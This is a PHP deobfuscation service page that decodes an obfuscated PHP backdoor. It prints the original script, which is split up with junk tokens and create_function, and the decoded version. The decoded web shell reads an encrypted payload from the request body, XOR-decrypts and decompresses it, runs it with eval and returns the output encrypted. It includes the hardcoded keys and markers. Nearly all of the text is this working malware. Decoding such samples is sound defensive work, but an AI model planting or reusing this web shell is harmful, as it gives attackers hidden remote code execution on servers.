Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $t='$i}{E{E^$k{$j};}}{Ereturn ${Eo;}if {E(@{Epre{Eg_match("/$kh{E(.+)$kf/"{E,@{Efi{..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="b99e374f";$kh="29fde159c097";$kf="da9fcae3d845";$p="huyAcXb8e5FM36SE";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); eval(@gzuncompress(@x(base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$t='$i}{E{E^$k{$j};}}{Ereturn ${Eo;}if {E(@{Epre{Eg_match("/$kh{E(.+)$kf/"{E,@{Efi{Ele{E_get_contents("ph{Ep://i{En{Eput"),$';
$H=str_replace('VG','','VGcreatVGe_VGVGfunVGcVGtion');
$i='m) == {E1) {E{ @ob{E_{Estart(); {E @ev{Eal(@gzuncompr{Ees{Es(@x(@{Ebas{Ee64_{Edeco{E{Ede($m[1]),$k))); $o=@{Eo{Eb_get_cont';
$c='$k={E"b99e374{E{Ef"{E;$kh="29fd{Ee159c097";{E$kf="da9fcae3{Ed845{E";{E$p="huyAcX{Eb8e5{E{EFM36S{EE"{E;functio{En x(${Et,';
$K='$k){$c=strlen($k);${El=strl{E{Een({E$t);$o="";fo{Er($i=0;${Ei<$l;){E{for($j{E{E=0;($j<$c&&${Ei<$l){E;$j++{E,$i++){{E$o.=$t{{E';
$s='e{Ents({E); @ob_{Eend_{Eclea{En(); ${Er{E=@b{Ease64_enc{Eode(@x(@gzcom{E{Epress($o),$k{E)); pr{Eint("${Ep{E$kh$r$kf");}';
$T=str_replace('{E','',$c.$K.$t.$i.$s);
$B=$H('',$T);$B();
?>
Function Calls
| preg_match | 1 |
| str_replace | 2 |
| create_function | 1 |
| file_get_contents | 1 |
Stats
| MD5 | e6fcd9cba972b095905a097462392455 |
| Eval Count | 1 |
| Decode Time | 152 ms |